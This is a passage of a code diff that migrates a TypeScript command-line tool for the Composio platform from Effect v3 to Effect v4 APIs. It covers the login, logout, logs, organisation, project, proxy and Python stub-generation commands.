171 - const session = yield* Schema.decodeUnknown(Schema.parseJson(PendingLoginSession))(
186 + const session = yield* Schema.decodeUnknownEffect(Schema.fromJsonString(PendingLoginSession))(
187 rawSession
188 ).pipe(
189 Effect.mapError(
@@ -548,10 +563,17 @@ const loginWithKey = (params: {
563 status: currentSession.status,
564 });
565 }),
551 - Schedule.exponential('0.3 seconds').pipe(
552 - Schedule.intersect(Schedule.recurs(params.pollRetries ?? 15)),
553 - Schedule.intersect(Schedule.spaced(`${LOGIN_POLL_INTERVAL_SECONDS} seconds`))
554 - )
566 + {
567 + // v4 dropped `Schedule.intersect`/`Schedule.recurs`; `Schedule.max` recurs while every
568 + // schedule in the list still wants to and waits for the slowest one between attempts
569 + // (the v4 equivalent of intersecting delay-producing schedules), and the retry count
570 + // cap moves onto `Effect.retry`'s own `times` option.
571 + schedule: Schedule.max([
572 + Schedule.exponential('0.3 seconds'),
573 + Schedule.spaced(`${LOGIN_POLL_INTERVAL_SECONDS} seconds`),
574 + ]),
575 + times: params.pollRetries ?? 15,
576 + }
577 ).pipe(
578 Effect.tap(() => spinner.stop('Login successful')),
579 Effect.tapError(() => spinner.error('Login timed out. Please try again.'))
@@ -571,7 +593,7 @@ const loginWithKey = (params: {
593 apiKey: uakApiKey,
594 }).pipe(
595 Effect.map(response => response.data),
574 - Effect.catchAll(error =>
596 + Effect.catch(error =>
597 Effect.gen(function* () {
598 yield* Effect.logDebug('Failed to list organizations after login:', error);
599 return [];
@@ -601,7 +623,7 @@ const loginWithKey = (params: {
623 apiKey: uakApiKey,
624 baseURL: ctx.data.baseURL,
625 }).pipe(
604 - Effect.catchAll(error =>
626 + Effect.catch(error =>
627 Effect.gen(function* () {
628 yield* Effect.logDebug('Org picker failed:', error);
629 yield* ui.log.warn('Could not load org list. Using current org.');
@@ -761,10 +783,13 @@ export const browserLogin = (params: {
783 status: currentSession.status,
784 });
785 }),
764 - Schedule.exponential('0.3 seconds').pipe(
765 - Schedule.intersect(Schedule.recurs(15)),
766 - Schedule.intersect(Schedule.spaced('5 seconds'))
767 - )
786 + {
787 + schedule: Schedule.max([
788 + Schedule.exponential('0.3 seconds'),
789 + Schedule.spaced('5 seconds'),
790 + ]),
791 + times: 15,
792 + }
793 ).pipe(
794 Effect.tap(() => spinner.stop('Login successful')),
795 Effect.tapError(() => spinner.error('Login timed out. Please try again.'))
@@ -805,7 +830,7 @@ export const browserLogin = (params: {
830 apiKey: uakApiKey,
831 baseURL: ctx.data.baseURL,
832 }).pipe(
808 - Effect.catchAll(error =>
833 + Effect.catch(error =>
834 Effect.gen(function* () {
835 yield* Effect.logDebug('Org picker failed:', error);
836 yield* ui.log.warn('Could not load org list. Using current org.');
@@ -896,39 +921,31 @@ export const loginCmd = Command.make(
921 }
922
923 if (Option.isSome(key) && Option.isSome(userApiKey)) {
899 - return yield* Effect.fail(
900 - invalidOptionValue('Use either `--key` or `--user-api-key`, not both.')
901 - );
924 + return yield* invalidOptionValue('Use either `--key` or `--user-api-key`, not both.');
925 }
926
927 if (
928 poll &&
929 (noBrowser || noWait || Option.isSome(key) || Option.isSome(userApiKey) || agent)
930 ) {
908 - return yield* Effect.fail(
909 - invalidOptionValue(
910 - '`--poll` cannot be combined with browser, session, direct-login, or agent flags.'
911 - )
931 + return yield* invalidOptionValue(
932 + '`--poll` cannot be combined with browser, session, direct-login, or agent flags.'
933 );
934 }
935
936 if (agent && (noBrowser || noWait || Option.isSome(key) || Option.isSome(userApiKey))) {
916 - return yield* Effect.fail(
917 - invalidOptionValue(
918 - '`--agent` cannot be combined with browser, session, or direct-login flags.'
919 - )
937 + return yield* invalidOptionValue(
938 + '`--agent` cannot be combined with browser, session, or direct-login flags.'
939 );
940 }
941
942 if (Option.isSome(org) && Option.isNone(userApiKey)) {
924 - return yield* Effect.fail(invalidOptionValue('`--org` requires `--user-api-key`.'));
943 + return yield* invalidOptionValue('`--org` requires `--user-api-key`.');
944 }
945
946 if (Option.isSome(userApiKey) && (noBrowser || noWait || Option.isSome(key))) {
928 - return yield* Effect.fail(
929 - invalidOptionValue(
930 - '`--user-api-key` is a direct login path and cannot be combined with browser or session flags.'
931 - )
947 + return yield* invalidOptionValue(
948 + '`--user-api-key` is a direct login path and cannot be combined with browser or session flags.'
949 );
950 }
951
ts/packages/cli/src/commands/logout.cmd.ts
+5 -5
@@ -1,4 +1,4 @@
1 -import { Command, Options } from '@effect/cli';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 import { Effect, Option } from 'effect';
3 import {
4 AGENT_CONFIG_FILE_NAME,
@@ -17,10 +17,10 @@ import { clearApolloIdentityForAnalytics } from 'src/analytics/dispatch';
17 * composio logout <command>
18 * ```
19 */
20 -const force = Options.boolean('force').pipe(
21 - Options.withAlias('f'),
22 - Options.withDefault(false),
23 - Options.withDescription('Skip confirmation prompts')
20 +const force = Flag.boolean('force').pipe(
21 + Flag.withAlias('f'),
22 + Flag.withDefault(false),
23 + Flag.withDescription('Skip confirmation prompts')
24 );
25
26 export const logoutCmd = Command.make('logout', { force }, ({ force }) =>
ts/packages/cli/src/commands/logs-cmd/commands/logs.tools.cmd.ts
+46 -46
@@ -1,4 +1,4 @@
1 -import { Args, Command, Options } from '@effect/cli';
1 +import { Argument, Command, Flag } from 'effect/unstable/cli';
2 import { Data, Effect, Option } from 'effect';
3 import { requireAuth } from 'src/effects/require-auth';
4 import { TerminalUI } from 'src/services/terminal-ui';
@@ -43,79 +43,79 @@ export const buildToolLogShorthandSearchParams = (
43 ...toSearchParams(filters.sessionId, 'session_id'),
44 ];
45
46 -const cursor = Options.integer('cursor').pipe(
47 - Options.optional,
48 - Options.withDescription('Cursor for pagination')
46 +const cursor = Flag.integer('cursor').pipe(
47 + Flag.optional,
48 + Flag.withDescription('Cursor for pagination')
49 );
50
51 -const from = Options.integer('from').pipe(
52 - Options.withDescription('Start timestamp (epoch milliseconds)'),
53 - Options.optional
51 +const from = Flag.integer('from').pipe(
52 + Flag.withDescription('Start timestamp (epoch milliseconds)'),
53 + Flag.optional
54 );
55
56 -const to = Options.integer('to').pipe(
57 - Options.withDescription('End timestamp (epoch milliseconds)'),
58 - Options.optional
56 +const to = Flag.integer('to').pipe(
57 + Flag.withDescription('End timestamp (epoch milliseconds)'),
58 + Flag.optional
59 );
60
61 -const limit = Options.integer('limit').pipe(
62 - Options.withDefault(30),
63 - Options.withDescription('Number of logs to fetch (1-1000)')
61 +const limit = Flag.integer('limit').pipe(
62 + Flag.withDefault(30),
63 + Flag.withDescription('Number of logs to fetch (1-1000)')
64 );
65
66 -const caseSensitive = Options.boolean('case-sensitive').pipe(
67 - Options.withDefault(false),
68 - Options.withDescription('Whether search params are case-sensitive')
66 +const caseSensitive = Flag.boolean('case-sensitive').pipe(
67 + Flag.withDefault(false),
68 + Flag.withDescription('Whether search params are case-sensitive')
69 );
70
71 -const toolkit = Options.text('toolkit').pipe(
72 - Options.withDescription('Filter by toolkit key(s), comma-separated (e.g. "gmail,slack")'),
73 - Options.optional
71 +const toolkit = Flag.string('toolkit').pipe(
72 + Flag.withDescription('Filter by toolkit key(s), comma-separated (e.g. "gmail,slack")'),
73 + Flag.optional
74 );
75
76 -const tool = Options.text('tool').pipe(
77 - Options.withDescription('Filter by tool key(s), comma-separated (e.g. "GMAIL_SEND_EMAIL")'),
78 - Options.optional
76 +const tool = Flag.string('tool').pipe(
77 + Flag.withDescription('Filter by tool key(s), comma-separated (e.g. "GMAIL_SEND_EMAIL")'),
78 + Flag.optional
79 );
80
81 -const connectedAccountId = Options.text('connected-account-id').pipe(
82 - Options.withDescription('Filter by connected account id(s), comma-separated'),
83 - Options.optional
81 +const connectedAccountId = Flag.string('connected-account-id').pipe(
82 + Flag.withDescription('Filter by connected account id(s), comma-separated'),
83 + Flag.optional
84 );
85
86 -const authConfigId = Options.text('auth-config-id').pipe(
87 - Options.withDescription('Filter by auth config id(s), comma-separated'),
88 - Options.optional
86 +const authConfigId = Flag.string('auth-config-id').pipe(
87 + Flag.withDescription('Filter by auth config id(s), comma-separated'),
88 + Flag.optional
89 );
90
91 -const status = Options.text('status').pipe(
92 - Options.withDescription('Filter by execution status value(s), comma-separated'),
93 - Options.optional
91 +const status = Flag.string('status').pipe(
92 + Flag.withDescription('Filter by execution status value(s), comma-separated'),
93 + Flag.optional
94 );
95
96 -const userId = Options.text('user-id').pipe(
97 - Options.withDescription('Filter by user id(s), comma-separated'),
98 - Options.optional
96 +const userId = Flag.string('user-id').pipe(
97 + Flag.withDescription('Filter by user id(s), comma-separated'),
98 + Flag.optional
99 );
100
101 -const logIdFilter = Options.text('log-id').pipe(
102 - Options.withDescription('Filter by log id(s), comma-separated'),
103 - Options.optional
101 +const logIdFilter = Flag.string('log-id').pipe(
102 + Flag.withDescription('Filter by log id(s), comma-separated'),
103 + Flag.optional
104 );
105
106 -const toolRouterSessionId = Options.text('tool-router-session-id').pipe(
107 - Options.withDescription('Filter by tool router session id(s), comma-separated'),
108 - Options.optional
106 +const toolRouterSessionId = Flag.string('tool-router-session-id').pipe(
107 + Flag.withDescription('Filter by tool router session id(s), comma-separated'),
108 + Flag.optional
109 );
110
111 -const sessionId = Options.text('session-id').pipe(
112 - Options.withDescription('Filter by session id(s), comma-separated'),
113 - Options.optional
111 +const sessionId = Flag.string('session-id').pipe(
112 + Flag.withDescription('Filter by session id(s), comma-separated'),
113 + Flag.optional
114 );
115
116 -const logId = Args.text({ name: 'log_id' }).pipe(
117 - Args.withDescription('Tool log ID'),
118 - Args.optional
116 +const logId = Argument.string('log_id').pipe(
117 + Argument.withDescription('Tool log ID'),
118 + Argument.optional
119 );
120
121 /**
ts/packages/cli/src/commands/logs-cmd/commands/logs.triggers.cmd.ts
+40 -40
@@ -1,4 +1,4 @@
1 -import { Args, Command, Options } from '@effect/cli';
1 +import { Argument, Command, Flag } from 'effect/unstable/cli';
2 import { Data, Effect, Option } from 'effect';
3 import { requireAuth } from 'src/effects/require-auth';
4 import { TerminalUI } from 'src/services/terminal-ui';
@@ -15,69 +15,69 @@ class TriggerLogsRequestError extends Data.TaggedError('commands/TriggerLogsRequ
15 readonly cause: unknown;
16 }> {}
17
18 -const cursor = Options.text('cursor').pipe(
19 - Options.withDescription('Cursor for pagination'),
20 - Options.optional
18 +const cursor = Flag.string('cursor').pipe(
19 + Flag.withDescription('Cursor for pagination'),
20 + Flag.optional
21 );
22
23 -const userId = Options.text('user-id').pipe(
24 - Options.withDescription('Filter by user id'),
25 - Options.optional
23 +const userId = Flag.string('user-id').pipe(
24 + Flag.withDescription('Filter by user id'),
25 + Flag.optional
26 );
27
28 -const connectedAccountId = Options.text('connected-account-id').pipe(
29 - Options.withDescription('Filter by connected account id'),
30 - Options.optional
28 +const connectedAccountId = Flag.string('connected-account-id').pipe(
29 + Flag.withDescription('Filter by connected account id'),
30 + Flag.optional
31 );
32
33 -const trigger = Options.text('trigger').pipe(
34 - Options.withDescription('Filter by trigger name'),
35 - Options.optional
33 +const trigger = Flag.string('trigger').pipe(
34 + Flag.withDescription('Filter by trigger name'),
35 + Flag.optional
36 );
37
38 -const triggerId = Options.text('trigger-id').pipe(
39 - Options.withDescription('Filter by trigger id'),
40 - Options.optional
38 +const triggerId = Flag.string('trigger-id').pipe(
39 + Flag.withDescription('Filter by trigger id'),
40 + Flag.optional
41 );
42
43 -const logIdFilter = Options.text('log-id').pipe(
44 - Options.withDescription('Filter by log id'),
45 - Options.optional
43 +const logIdFilter = Flag.string('log-id').pipe(
44 + Flag.withDescription('Filter by log id'),
45 + Flag.optional
46 );
47
48 -const logId = Args.text({ name: 'log_id' }).pipe(
49 - Args.withDescription('Trigger log ID'),
50 - Args.optional
48 +const logId = Argument.string('log_id').pipe(
49 + Argument.withDescription('Trigger log ID'),
50 + Argument.optional
51 );
52
53 -const from = Options.integer('from').pipe(
54 - Options.withDescription('Start timestamp (epoch milliseconds)'),
55 - Options.optional
53 +const from = Flag.integer('from').pipe(
54 + Flag.withDescription('Start timestamp (epoch milliseconds)'),
55 + Flag.optional
56 );
57
58 -const to = Options.integer('to').pipe(
59 - Options.withDescription('End timestamp (epoch milliseconds)'),
60 - Options.optional
58 +const to = Flag.integer('to').pipe(
59 + Flag.withDescription('End timestamp (epoch milliseconds)'),
60 + Flag.optional
61 );
62
63 -const limit = Options.integer('limit').pipe(
64 - Options.withDefault(30),
65 - Options.withDescription('Number of logs to fetch (1-1000)')
63 +const limit = Flag.integer('limit').pipe(
64 + Flag.withDefault(30),
65 + Flag.withDescription('Number of logs to fetch (1-1000)')
66 );
67
68 -const time = Options.choice('time', ['5m', '30m', '6h', '1d', '1w', '1month', '1y'] as const).pipe(
69 - Options.optional,
70 - Options.withDescription('Show logs from a relative time window')
68 +const time = Flag.choice('time', ['5m', '30m', '6h', '1d', '1w', '1month', '1y'] as const).pipe(
69 + Flag.optional,
70 + Flag.withDescription('Show logs from a relative time window')
71 );
72
73 -const search = Options.text('search').pipe(
74 - Options.withDescription('Full-text search query'),
75 - Options.optional
73 +const search = Flag.string('search').pipe(
74 + Flag.withDescription('Full-text search query'),
75 + Flag.optional
76 );
77
78 -const includePayload = Options.boolean('include-payload').pipe(
79 - Options.withDefault(false),
80 - Options.withDescription('Include payload fields in response')
78 +const includePayload = Flag.boolean('include-payload').pipe(
79 + Flag.withDefault(false),
80 + Flag.withDescription('Include payload fields in response')
81 );
82
83 /**
ts/packages/cli/src/commands/logs-cmd/logs.cmd.ts
+1 -1
@@ -1,4 +1,4 @@
1 -import { Command } from '@effect/cli';
1 +import { Command } from 'effect/unstable/cli';
2 import { logsCmd$Tools } from './commands/logs.tools.cmd';
3 import { logsCmd$Triggers } from './commands/logs.triggers.cmd';
4
ts/packages/cli/src/commands/logs-cmd/trigger-log-record.ts
+62 -54
@@ -1,4 +1,4 @@
1 -import { Option, Schema } from 'effect';
1 +import { Option, Schema, SchemaTransformation } from 'effect';
2
3 /**
4 * Tolerant normalization of trigger-log API payloads.
@@ -16,21 +16,25 @@ import { Option, Schema } from 'effect';
16 */
17
18 /** Decodes to the string value when present, treating any other type as absent. */
19 -const LenientString = Schema.transform(Schema.Unknown, Schema.UndefinedOr(Schema.String), {
20 - strict: true,
21 - decode: value => (typeof value === 'string' ? value : undefined),
22 - encode: value => value,
23 -});
19 +const LenientString = Schema.Unknown.pipe(
20 + Schema.decodeTo(
21 + Schema.UndefinedOr(Schema.String),
22 + SchemaTransformation.transform({
23 + decode: value => (typeof value === 'string' ? value : undefined),
24 + encode: value => value,
25 + })
26 + )
27 +);
28
29 /** Decodes to the string or number value when present, treating any other type as absent. */
26 -const LenientTimestamp = Schema.transform(
27 - Schema.Unknown,
28 - Schema.UndefinedOr(Schema.Union(Schema.String, Schema.Number)),
29 - {
30 - strict: true,
31 - decode: value => (typeof value === 'string' || typeof value === 'number' ? value : undefined),
32 - encode: value => value,
33 - }
30 +const LenientTimestamp = Schema.Unknown.pipe(
31 + Schema.decodeTo(
32 + Schema.UndefinedOr(Schema.Union([Schema.String, Schema.Number])),
33 + SchemaTransformation.transform({
34 + decode: value => (typeof value === 'string' || typeof value === 'number' ? value : undefined),
35 + encode: value => value,
36 + })
37 + )
38 );
39
40 /**
@@ -73,14 +77,14 @@ type RawTriggerLogMeta = typeof RawTriggerLogMeta.Type;
77 const decodeMetaOption = Schema.decodeUnknownOption(RawTriggerLogMeta);
78
79 /** Any non-record `meta` behaves like an absent one. */
76 -const LenientMeta = Schema.transform(
77 - Schema.Unknown,
78 - Schema.UndefinedOr(Schema.typeSchema(RawTriggerLogMeta)),
79 - {
80 - strict: true,
81 - decode: value => Option.getOrUndefined(decodeMetaOption(value)),
82 - encode: value => value,
83 - }
80 +const LenientMeta = Schema.Unknown.pipe(
81 + Schema.decodeTo(
82 + Schema.UndefinedOr(Schema.toType(RawTriggerLogMeta)),
83 + SchemaTransformation.transform({
84 + decode: value => Option.getOrUndefined(decodeMetaOption(value)),
85 + encode: value => value,
86 + })
87 + )
88 );
89
90 const rawLevelFields = {
@@ -101,17 +105,17 @@ const decodeLevelOption = Schema.decodeUnknownOption(RawTriggerLogLevel);
105 * there is used as the record (even one that yields no fields); everything
106 * else falls back to the top level.
107 */
104 -const LenientNestedLog = Schema.transform(
105 - Schema.Unknown,
106 - Schema.UndefinedOr(Schema.typeSchema(RawTriggerLogLevel)),
107 - {
108 - strict: true,
109 - decode: value =>
110 - typeof value === 'object' && value !== null
111 - ? Option.getOrElse(decodeLevelOption(value), (): RawTriggerLogLevel => ({}))
112 - : undefined,
113 - encode: value => value,
114 - }
108 +const LenientNestedLog = Schema.Unknown.pipe(
109 + Schema.decodeTo(
110 + Schema.UndefinedOr(Schema.toType(RawTriggerLogLevel)),
111 + SchemaTransformation.transform({
112 + decode: value =>
113 + typeof value === 'object' && value !== null
114 + ? Option.getOrElse(decodeLevelOption(value), (): RawTriggerLogLevel => ({}))
115 + : undefined,
116 + encode: value => value,
117 + })
118 + )
119 );
120
121 const RawTriggerLog = Schema.Struct({
@@ -136,7 +140,7 @@ export const TriggerLogRecord = Schema.Struct({
140 appName: Schema.optional(Schema.String),
141 entityId: Schema.optional(Schema.String),
142 connectionId: Schema.optional(Schema.String),
139 - createdAt: Schema.optional(Schema.Union(Schema.String, Schema.Number)),
143 + createdAt: Schema.optional(Schema.Union([Schema.String, Schema.Number])),
144 detail: Schema.Struct({
145 /** `id` → `logId` → `log_id`, top level then `meta`. */
146 logId: Schema.optional(Schema.String),
@@ -155,7 +159,7 @@ export const TriggerLogRecord = Schema.Struct({
159 /** `entityId` → `entity_id` → `userId`, top level then `meta`. */
160 entityId: Schema.optional(Schema.String),
161 /** `createdAt` → `created_at`, top level then `meta`. */
158 - createdAt: Schema.optional(Schema.Union(Schema.String, Schema.Number)),
162 + createdAt: Schema.optional(Schema.Union([Schema.String, Schema.Number])),
163 }),
164 table: Schema.Struct({
165 /** Nano id preferred over plain id; `meta` aliases before top-level ones. */
@@ -261,25 +265,29 @@ const normalizeLevel = (level: RawTriggerLogLevel): TriggerLogRecord => {
265 };
266 };
267
264 -const TriggerLogRecordFromRaw = Schema.transform(RawTriggerLog, TriggerLogRecord, {
265 - strict: true,
266 - decode: raw => normalizeLevel(raw.log ?? raw),
267 - encode: record => ({
268 - id: record.id,
269 - appName: record.appName,
270 - entityId: record.entityId,
271 - connectionId: record.connectionId,
272 - createdAt: record.createdAt,
273 - logId: record.detail.logId,
274 - triggerId: record.detail.triggerId,
275 - triggerNanoId: record.detail.triggerNanoId,
276 - triggerName: record.detail.triggerName,
277 - status: record.detail.status,
278 - toolkit: record.detail.toolkit,
279 - payload: record.payload,
280 - response: record.response,
281 - }),
282 -});
268 +const TriggerLogRecordFromRaw = RawTriggerLog.pipe(
269 + Schema.decodeTo(
270 + TriggerLogRecord,
271 + SchemaTransformation.transform({
272 + decode: raw => normalizeLevel(raw.log ?? raw),
273 + encode: record => ({
274 + id: record.id,
275 + appName: record.appName,
276 + entityId: record.entityId,
277 + connectionId: record.connectionId,
278 + createdAt: record.createdAt,
279 + logId: record.detail.logId,
280 + triggerId: record.detail.triggerId,
281 + triggerNanoId: record.detail.triggerNanoId,
282 + triggerName: record.detail.triggerName,
283 + status: record.detail.status,
284 + toolkit: record.detail.toolkit,
285 + payload: record.payload,
286 + response: record.response,
287 + }),
288 + })
289 + )
290 +);
291
292 const decodeTriggerLogRecordOption = Schema.decodeUnknownOption(TriggerLogRecordFromRaw);
293
ts/packages/cli/src/commands/orgs/commands/orgs.list.cmd.ts
+4 -4
@@ -1,4 +1,4 @@
1 -import { Command, Options } from '@effect/cli';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 import { Effect, Option } from 'effect';
3 import { requireAuth } from 'src/effects/require-auth';
4 import { TerminalUI } from 'src/services/terminal-ui';
@@ -6,9 +6,9 @@ import { listOrganizations } from 'src/services/composio-clients';
6 import { ComposioUserContext } from 'src/services/user-context';
7 import { clampLimit } from 'src/ui/clamp-limit';
8
9 -const limit = Options.integer('limit').pipe(
10 - Options.withDefault(50),
11 - Options.withDescription('Max organizations to fetch from API (default: 50)')
9 +const limit = Flag.integer('limit').pipe(
10 + Flag.withDefault(50),
11 + Flag.withDescription('Max organizations to fetch from API (default: 50)')
12 );
13
14 export const orgsCmd$List = Command.make('list', { limit }, ({ limit }) =>
ts/packages/cli/src/commands/orgs/commands/orgs.switch.cmd.ts
+7 -7
@@ -1,4 +1,4 @@
1 -import { Command, Options } from '@effect/cli';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 import { Effect, Option } from 'effect';
3 import { requireAuth } from 'src/effects/require-auth';
4 import { runOrgSelection } from 'src/effects/select-org-project';
@@ -6,14 +6,14 @@ import { linkAnalyticsIdentityForOrg } from 'src/effects/link-analytics-identity
6 import { TerminalUI } from 'src/services/terminal-ui';
7 import { ComposioUserContext } from 'src/services/user-context';
8
9 -const orgId = Options.text('org-id').pipe(
10 - Options.optional,
11 - Options.withDescription('Organization ID to use as global default')
9 +const orgId = Flag.string('org-id').pipe(
10 + Flag.optional,
11 + Flag.withDescription('Organization ID to use as global default')
12 );
13
14 -const limit = Options.integer('limit').pipe(
15 - Options.withDefault(50),
16 - Options.withDescription('Max orgs to fetch from API (default: 50)')
14 +const limit = Flag.integer('limit').pipe(
15 + Flag.withDefault(50),
16 + Flag.withDescription('Max orgs to fetch from API (default: 50)')
17 );
18
19 export const orgsCmd$Switch = Command.make('switch', { orgId, limit }, ({ orgId, limit }) =>
ts/packages/cli/src/commands/orgs/orgs.cmd.ts
+1 -1
@@ -1,4 +1,4 @@
1 -import { Command } from '@effect/cli';
1 +import { Command } from 'effect/unstable/cli';
2 import { orgsCmd$List } from './commands/orgs.list.cmd';
3 import { orgsCmd$Switch } from './commands/orgs.switch.cmd';
4
ts/packages/cli/src/commands/projects/commands/projects.list.cmd.ts
+7 -7
@@ -1,4 +1,4 @@
1 -import { Command, Options } from '@effect/cli';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 import { Effect, Option } from 'effect';
3 import { requireAuth } from 'src/effects/require-auth';
4 import { TerminalUI } from 'src/services/terminal-ui';
@@ -6,14 +6,14 @@ import { listOrganizationProjects } from 'src/services/composio-clients';
6 import { ComposioUserContext } from 'src/services/user-context';
7 import { clampLimit } from 'src/ui/clamp-limit';
8
9 -const orgId = Options.text('org-id').pipe(
10 - Options.optional,
11 - Options.withDescription('Organization ID to list projects for (defaults to current global org)')
9 +const orgId = Flag.string('org-id').pipe(
10 + Flag.optional,
11 + Flag.withDescription('Organization ID to list projects for (defaults to current global org)')
12 );
13
14 -const limit = Options.integer('limit').pipe(
15 - Options.withDefault(50),
16 - Options.withDescription('Max projects to fetch from API (default: 50)')
14 +const limit = Flag.integer('limit').pipe(
15 + Flag.withDefault(50),
16 + Flag.withDescription('Max projects to fetch from API (default: 50)')
17 );
18
19 export const projectsCmd$List = Command.make('list', { orgId, limit }, ({ orgId, limit }) =>
ts/packages/cli/src/commands/projects/commands/projects.switch.cmd.ts
+1 -1
@@ -1,4 +1,4 @@
1 -import { Command } from '@effect/cli';
1 +import { Command } from 'effect/unstable/cli';
2 import { Effect } from 'effect';
3 import { TerminalUI } from 'src/services/terminal-ui';
4
ts/packages/cli/src/commands/projects/projects.cmd.ts
+1 -1
@@ -1,4 +1,4 @@
1 -import { Command } from '@effect/cli';
1 +import { Command } from 'effect/unstable/cli';
2 import { projectsCmd$List } from './commands/projects.list.cmd';
3 import { projectsCmd$Switch } from './commands/projects.switch.cmd';
4
ts/packages/cli/src/commands/proxy.cmd.ts
+28 -28
@@ -1,5 +1,5 @@
1 -import { Args, Command, Options } from '@effect/cli';
2 -import { Data, Effect, Either, Option } from 'effect';
1 +import { Argument, Command, Flag } from 'effect/unstable/cli';
2 +import { Data, Effect, Result, Option } from 'effect';
3 import type {
4 SessionProxyExecuteParams,
5 SessionProxyExecuteResponse,
@@ -24,43 +24,43 @@ import {
24 import { parseJsonRecord } from 'src/utils/parse-json';
25 import { resolveConnectedAccountForToolkit } from 'src/services/connected-account-selection';
26
27 -const endpoint = Args.text({ name: 'url' }).pipe(
28 - Args.withDescription('Absolute or relative API endpoint to call through proxy execute.')
27 +const endpoint = Argument.string('url').pipe(
28 + Argument.withDescription('Absolute or relative API endpoint to call through proxy execute.')
29 );
30
31 -const toolkit = Options.text('toolkit').pipe(
32 - Options.withAlias('t'),
33 - Options.withDescription('Toolkit slug whose connected account should be used')
31 +const toolkit = Flag.string('toolkit').pipe(
32 + Flag.withAlias('t'),
33 + Flag.withDescription('Toolkit slug whose connected account should be used')
34 );
35
36 -const account = Options.text('account').pipe(
37 - Options.withDescription(
36 +const account = Flag.string('account').pipe(
37 + Flag.withDescription(
38 'Connected account selector. Matches alias, word_id, or connected account id for the toolkit.'
39 ),
40 - Options.optional
40 + Flag.optional
41 );
42
43 -const method = Options.text('method').pipe(
44 - Options.withAlias('X'),
45 - Options.withDefault('GET'),
46 - Options.withDescription('HTTP method, curl-style (GET, POST, PUT, DELETE, PATCH)')
43 +const method = Flag.string('method').pipe(
44 + Flag.withAlias('X'),
45 + Flag.withDefault('GET'),
46 + Flag.withDescription('HTTP method, curl-style (GET, POST, PUT, DELETE, PATCH)')
47 );
48
49 -const headers = Options.text('header').pipe(
50 - Options.withAlias('H'),
51 - Options.withDescription('Header in "Name: value" format. Repeat for multiple headers.'),
52 - Options.repeated
49 +const headers = Flag.string('header').pipe(
50 + Flag.withAlias('H'),
51 + Flag.withDescription('Header in "Name: value" format. Repeat for multiple headers.'),
52 + Flag.atLeast(0)
53 );
54
55 -const data = Options.text('data').pipe(
56 - Options.withAlias('d'),
57 - Options.withDescription('Request body as raw text, JSON, @file, or - for stdin'),
58 - Options.optional
55 +const data = Flag.string('data').pipe(
56 + Flag.withAlias('d'),
57 + Flag.withDescription('Request body as raw text, JSON, @file, or - for stdin'),
58 + Flag.optional
59 );
60
61 -const skipConnectionCheck = Options.boolean('skip-connection-check').pipe(
62 - Options.withDefault(false),
63 - Options.withDescription(
61 +const skipConnectionCheck = Flag.boolean('skip-connection-check').pipe(
62 + Flag.withDefault(false),
63 + Flag.withDescription(
64 'Skip the short-lived connected-account fail-fast check if you just connected an account'
65 )
66 );
@@ -116,7 +116,7 @@ export const parseProxyHeader = (value: string): { name: string; value: string }
116 const resolveBodyInput = (input: Option.Option<string>) => resolveOptionalTextInput(input);
117
118 export const parseProxyBody = (raw: string): unknown =>
119 - Either.getOrElse(parseJsonRecord(raw), (): unknown => raw);
119 + Result.getOrElse(parseJsonRecord(raw), (): unknown => raw);
120
121 const formatProxyOutput = (
122 result: Pick<SessionProxyExecuteResponse, 'status' | 'data' | 'headers' | 'binary_data'>
@@ -215,8 +215,8 @@ const runProxyConnectedToolkitFailFast = (params: {
215 orgId: params.resolvedProject.orgId,
216 consumerUserId: params.resolvedUserId,
217 }).pipe(
218 - Effect.catchAll(() => Effect.void),
219 - Effect.forkDaemon,
218 + Effect.catch(() => Effect.void),
219 + Effect.forkDetach,
220 Effect.asVoid
221 );
222
ts/packages/cli/src/commands/py/commands/py.generate.cmd.ts
+22 -15
@@ -1,7 +1,7 @@
1 -import { Command, HelpDoc, Options, ValidationError } from '@effect/cli';
1 +import { Command, Flag } from 'effect/unstable/cli';
2 import { Array, Data, Effect, Option, pipe, String } from 'effect';
3 -import * as FileSystem from '@effect/platform/FileSystem';
4 -import * as Path from '@effect/platform/Path';
3 +import * as FileSystem from 'effect/FileSystem';
4 +import * as Path from 'effect/Path';
5 import { ComposioToolkitsRepository } from 'src/services/composio-clients';
6 import { logMetrics } from 'src/effects/log-metrics';
7 import type { GetCmdParams } from 'src/type-utils';
@@ -25,20 +25,27 @@ export class PythonGenerationWriteError extends Data.TaggedError(
25 readonly message: string;
26 }> {}
27
28 -const invalidGenerateValue = (message: string) => ValidationError.invalidValue(HelpDoc.p(message));
28 +/**
29 + * Business-level validation failure for `generate py` inputs (output
30 + * directory location, toolkit filter values) that are only knowable after
31 + * parsing. See the analogous comment on `LinkInputError` in
32 + * `connected-accounts.link.cmd.ts` for why this is a plain typed domain
33 + * error rather than a `CliError.InvalidValue` in v4.
34 + */
35 +class GenerateInputError extends Data.TaggedError('commands/GenerateInputError')<{
36 + readonly message: string;
37 +}> {}
38 +
39 +const invalidGenerateValue = (message: string) => new GenerateInputError({ message });
40
30 -export const outputOpt = Options.optional(
31 - Options.directory('output-dir', {
32 - exists: 'either',
33 - })
34 -).pipe(
35 - Options.withAlias('o'),
36 - Options.withDescription('Output directory for the generated Python type stubs')
41 +export const outputOpt = Flag.optional(Flag.directory('output-dir')).pipe(
42 + Flag.withAlias('o'),
43 + Flag.withDescription('Output directory for the generated Python type stubs')
44 );
45
39 -export const toolkitsOpt = Options.text('toolkits').pipe(
40 - Options.repeated,
41 - Options.withDescription(
46 +export const toolkitsOpt = Flag.string('toolkits').pipe(
47 + Flag.atLeast(0),
48 + Flag.withDescription(
49 'Only generate types for specific toolkits (e.g., --toolkits gmail --toolkits slack)'
50 )
51 );
@@ -96,7 +103,7 @@ export function generatePythonTypeStubs({
103 const versionOverrides = yield* getToolkitVersionOverrides;
104
105 // Validate toolkit slugs if specified
99 - const hasToolkitsFilter = Array.isNonEmptyArray(toolkitsOpt);
106 + const hasToolkitsFilter = Array.isReadonlyArrayNonEmpty(toolkitsOpt);
107 const toolkitSlugsFilter = hasToolkitsFilter ? toolkitsOpt.map(s => s.toLowerCase()) : null;
108
109 // Validate toolkit version overrides before fetching data
ts/packages/cli/src/commands/run.cmd.ts
+90 -52
@@ -1,10 +1,9 @@
1 import process from 'node:process';
2 -import { Args, Command, Options } from '@effect/cli';
3 -import * as PlatformCommand from '@effect/platform/Command';
4 -import * as CommandExecutor from '@effect/platform/CommandExecutor';
